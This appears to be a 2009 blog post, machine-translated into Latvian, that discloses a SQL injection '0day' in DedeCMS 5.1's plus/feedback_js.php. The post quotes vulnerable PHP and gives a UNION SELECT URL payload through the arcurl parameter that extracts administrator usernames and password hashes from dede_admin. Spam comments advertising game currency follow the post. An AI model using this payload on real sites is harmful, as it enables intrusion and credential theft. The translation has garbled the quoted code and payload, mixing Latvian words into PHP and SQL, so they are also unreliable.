DEDECMS 5,1 feedback_js.php 0day-0day, DEDECMS, DEDECMS 5,1, feedback

DEDECMS 5,1 feedback_js.php 0day

Šis ieraksts tika publicēta Okt 11 2009

Autors: st0p Rainy'Fox
Reproducēt, lūdzu, norādiet avotu: http://www.st0p.org http://bbs.erpangzi.com/

Šī neaizsargātība ir atrasts un Rainy'Fox ir pieejams arī gadījumā magic_quotes_gpc = off

Neaizsargātības Versija: Raksti Condo 5,1
To var izmantot, lai iegūtu administratora kontu fonā un šifrētu hash, nepilnības pastāv failu plus / feedback_js.php, nefiltrēts parametri arcurl $

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) ja (tukšs ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Rinda = $ dlist -> dsql -> GetOne ("SELECT id No` # @ __ cache_feedbackurl `kur url =" $ arcurl '");
        / / Šeit $ arcurl neviens filtrs
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; ja (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Iegūtos rezultātus nodot $ urlindex uzdevumu kādā vaicājumā ar $ row ['id'], mēs varam izveidot SQL vērā šādas pamatdarbības
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; ja (tukšs ($ arcID) && tukšs ($ urlindex)) izeja ();
 / / Ja $ arcID ir tukša vai $ urlindex tukšs izeja
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; ja (tukšs ($ arcID)) $ WQ = "urlindex = '$ urlindex" ";
 / / $ ArcID ir tukšs, tikai augstāk par gūtajiem rezultātiem tiks piešķirts WQ $ šādās veikto darbību.
 = " aid=' $arcID ' " ; cits $ WQ = "atbalsts = '$ arcID" ";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Querystring = "SELECT * FROM` # @ __ atsauksmes `kur $ WQ un ischeck = '1 'Pasūtot dtime DESC";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ querystring);
 ......

Paskaties izmantošanu, hey, slēgts es izmantot divas savienība

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'savienība izvēlieties "" un 1 = 2 savienība izvēlieties 1,1,1, kas identitātes kodu, kas 3,1,3,3, kas PWD, kas 1,1,3 , 1,1,1,1,1 no dede_admin kur 1 = 1 savienība izvēlieties * no dede_feedback kur 1 = 2 un'' = '"no dede_admin kur'' ='

Diemžēl, pat un Rainy'Fox tas puisis, lai atrastu mērķa pārbaudi, ja viņš faktiski teica var pie magic_quotes_gpc = par to, kad cauri .... šī ideja pārāk YD .. pārāk briesmīgi, lai patiešām sasniegtu nozare tīklam būtu haoss, no programmu daudz ir pēc noklusējuma PHP magic_quotes_gpc ir izslēgts, sauksim viņu pašu glābšanās daļu ... jūs tiešām varat sasniegt, tas ir murgs no PHP programmas ...

Mācīties ° cīņas mākslas Mīklas

362 Atbildes uz "DEDECMS 5.1 feedback_js.php 0day"

Ar хостинг par 19 Nov, 2009 | Atbildēt
zelo intiresno, hvala
Ar septiņiem AKfour gada 1 Dec 2009 | Atbildēt
Es stāvu šeit šodien humbled ar uzdevumu pirms [url = http://www.bawwgt.com] dofus Kamas [/ url], pateicīgi par uzticību jums ir bestowed, apzinoties upuru sedz mūsu [url = http:/ / www.bawwgt.com] cheap dofus Kamas [/ url] Es pateicos priekšsēdētājam [url. = http://www.bawwgt.com] dofus jauda nolīdzināšana [/ url] par darbu uz [url = http://www . bawwgt.com] pirkt dofus Kamas [/ url], kā arī augstsirdību un sadarbību viņš ir parādīts visā šīs pārejas.
Ar wsewtoexg par Dec 3, 2009 | Atbildēt
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Ar tedy par Dec 5, 2009 | Atbildēt
Tikai 34 dienas pirms DOFUS 2.0! Decembra 2 būs šeit pirms mēs zinām, [url = http://www.bawwgt.com/fr] dofus Kamas [/ url]. No [url = http://www.bawwgt.com / FR] dofus Kamas moins chers [/ url] katrs spēlētājs būs atklāt pilnīgi jaunu DOFUS pieredzi. [url = http://www.bawwgt.com/fr] acheter des dofus Kamas [/ url] ir jāapmierinās ar ziņojumos un forumos. Pat tā [url = http://www.bawwgt.com/fr] ACHAT dofus Kamas [/ url], tur ¡ ¯ s vienmēr daži no mūsu dārgajiem spēlētājiem forumos.
Ko pirkt strattera gada 13 Dec, 2009 | Atbildēt
šis ir foršs ziņu. Paldies.
Ar Seengart gada 14 Dec, 2009 | Atbildēt
Huh ... informatīva stils ..
Ko Nataša-web gada 16 Dec, 2009 | Atbildēt
Vdaka za zaujimavy emuārs
Ar ConradSimone par , 8 Mar 2012 | Atbildēt
Nu tas ir ļoti interesanti indeed.Would mīlestība lasīt nedaudz vairāk par šo. Baudiet vērtīgu informāciju jūs piedāvājat savos izstrādājumos.
Conrad ar Simone